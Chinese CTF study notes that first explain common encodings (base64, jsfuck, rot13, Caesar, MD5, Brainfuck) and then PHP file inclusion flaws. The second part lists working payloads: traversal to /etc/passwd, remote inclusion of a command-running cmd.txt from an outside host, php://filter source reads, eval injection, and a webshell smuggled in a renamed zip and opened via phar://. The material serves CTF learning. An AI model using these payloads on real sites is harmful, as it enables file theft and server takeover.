我们在做题的时候,经常会遇到一些奇怪的加密解密的字符串,这就需要我们能够识别一些比较常用的。
1.base64
这是一个常用的编码,而且原理也十分简单,非常容易得到原内容。 三字节变为四字节 前面补两个0。 所谓Base64,就是说选出64个字符----小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"(再加上作为垫字的"=",实际上是65个字符)——作为一个基本字符集。然后,其他所有符号都转换成这个字符集中的字符。
http://tool.chinaz.com/Tools/ScriptEncode.aspx
特点识别:只包含A-Z,a-z,0-9,+,/,=字符 * 字符串长度是4的倍数 * =只会出现在字符串最后,可能没有或者一个等号或者两个等号。
同理Base32编码将二进制文件转换成由32个ASCII字符组成的文本。(有在线工具)
2 jsfuck
这也是一个比较容易识别的一个编码,他实际上是利用字符在计算中的一些特殊意义,将需要的一段字符串转换为只包含 ()+[]! 这六个字符,确实是十分好辨别。
网上有一些在线执行的网站,我们可以拿到上边去运行。
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
3 rot13
"rot13"是一个古老而又简单的加密方法,它把字母表中的每个字母用其后的第13 个字母来代替。字母表中前半部分字母将被映射到后半部分,而后半部分字母将被映射到前半部分,大小写保持不变。
所以我们可想而知他的一些特点,比如两次加密之后就恢复了原来的字符(有在线工具)
4 凯撒密码
公元前100多年凯撒发明的一种密码,简单来说是平移密码,也就是将字母位置向后移动一定位数。
如原文是ABCDEFG,密钥为3,加密后就是DEFGHIJ。以密钥的数字向后平移了三位,如果密钥是5就是平移五位。
凯撒密码最简单的破译方式为穷举法(暴力破解法),一共只有26个字母,平移25次并将平移后的字符串进行比较,就能取得最后的原文。(也有在线的解码工具)
5 MD5
MD5即Message-Digest Algorithm 5(信息-摘要算法5),用于确保信息传输完整一致。我们做题中经常会遇到一些有关MD5加密的东西,任意长度的数据,算出的MD5值长度都是固定的,均是32位。
对于常见的比较简单的MD5,我们在网上可以通过一些网站直接得到原始信息。
对于给出部分截取的,我们可以写脚本进行爆破,记住要多线程,否则很慢,在第一部分中,我已经提供了有关的脚本
6 Brainfuck
也是一个轻巧特别容易识别的编码,BrainF**k 语言只有八种符号,所有的操作都由这八种符号的组合来完成:
< >+ - . , [ ],这是非常容易识别的。
PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
PHP文件包含的几个函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content
几种经典的测试方法:
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
(通过多个../可以让目录回到根目录中然后再进入目标目录)
需要说明的是,进行RFI攻击需要同时具备三个条件(被攻击机器):
1.allow_url_fopen = On (默认开启)
允许url链接导致的文件打开读取
2.allow_url_include = On (默认关闭)
允许url中包含ftp://等包含形式
3.被包含的变量前没有目录的限制
服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
或者是比较常见的本地文件包含,使得我们可以访问目录下的其他文件
比如我们会随便的打入下面这个URL:http: //hi.baidu.com/m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取page为hello.php,然后去include(hello.php),
这时问题出现了,因为我们并没有hello.php这个文件,所以它 include的时候就会报警告,类似下列信息:
Warning: include() [function.include]: Failed opening hello.php for inclusion (include_path=.:) in /vhost/wwwroot/php/index.php on line 3
利用暴露的路径,我们可以尝试访问其他文件 http://hi.baidu.com/m4r10/php/index.php?page=./txt.txt
也可以直接指定绝对路径,读取敏感的系统文件 http://hi.baidu.com/m4r10/php/index.php?page=/etc/passwd
如果我们构造特殊代码的txt文件,可以接受cmd命令并返回 那么http://hi.baidu.com/m4r10/php/index.php?page=http: //www.xxx.cn/cmd.txt?cmd=[命令] 就可以达到目的。
文件包含可以利用的方式
(1) 直接进行文件的遍历读取;(读取敏感信息)在获悉中间件 IIS、apache与第三方集成包等程序默认安装路径的情况,可以直接利用文件包含结合目录遍历进行“配置文件的读取”
include.php?file=../../../etc/pass
include.php?file=../../../xampp/htdocs/config.php
(2)解析符合php规范的任何文件;(本地包含配合文件上传)
可以利用文件包含函数可以解析任何符合PHP规范的文件的特性,结合文件上传绕过WAF,获取webshell。
利用过程:
1)上传shell.txt /shell.jpg /shell.rar /shell.xxx (需要确认上传后,上传文件的绝对路径)
2) 使用文件包含漏洞,直接解析上传的非php后缀的文件,获取webshell。
(3)使用PHP封装协议(读取php文件源码)
PHP内置有很多类似于URL风格的封装协议:
file:// --- 访问本地文件系统;
http:// --- 访问HTTP(s)网址;
ftp:// --- 访问FTP(s)URLs ;
php:// --- 访问输入/输出流(I/0 stream)
eg: http://www.test.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,得到Base64加密后的字符串 --- 》 加密的代码,进过解密后可以得到源文件内容。
(PHP5.2.0之后的版本中支持data: 伪协议,可以很方便的执行代码)
这里一直不懂,为什么一定要使用加密呢base64,后来看到了一篇文章
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name
。其原因是,PHP是基于标签的脚本语言,这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
readfile( "php://filter/read=convert.base64-encode/resource=php://input" ); |
php://filter是我们常常使用的一个伪协议,在任意文件读取,甚至getshell的时候都有利用的机会。
在include函数的使用上,经常会造成任意文件读取漏洞
file_get_contents()和file_put_contents()这样函数下,常常会构成getshell等更严重的漏洞。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
phpfilter为协议受限制情况表
我们举一个例子,这是平时我们用来任意文件读取的payload
php://filter/read=convert.base64-encode/resource=upload.php
例题1
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!
";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
// 条件一使用php://input即可绕过,上面有介绍
// 这边发现include()动态包含了$file参数
// 传入file=php://filter/read=convert.base64-encode/resource=index.php 即可得到index.php的BASE64加密的源码
例题2
看到Request函数,很明显可以想到文件包含,这里hello是可控的,那么,就可以构造包含语句,
?hello=1);show_source('flag.php');var_dump(
就可以show flag.php 的源代码,从而得到flag。
注意事项:注意构造语句的闭合。
例题3
// 其实就是拼接eval
// 可构造如下语句:
// 1);print_r(file(flag.php));
// 到了代码里就是
eval( "var_dump(1);print_r(file(flag.php));//);");
有些时候我们并不能直接传木马文件,需要压缩成zip文件上传,然后使用为协议读取和连接木马
例 将muma.php压缩成 test.zip 改成test.png 木马的密码为yu
那么连接的方式为
?page=phar://uP1O4Ds/YtrmooXQOlxr2lhpyiW1bORHcqkMJZEM_test.png/muma
yu=phpinfo() 测试
phar是解压协议,可以读取文件
http://202.112.51.130:8013/?page=phar://uP1O4Ds/YtrmooXQOlxr2lhpyiW1bORHcqkMJZEM_test.png/muma yu PHP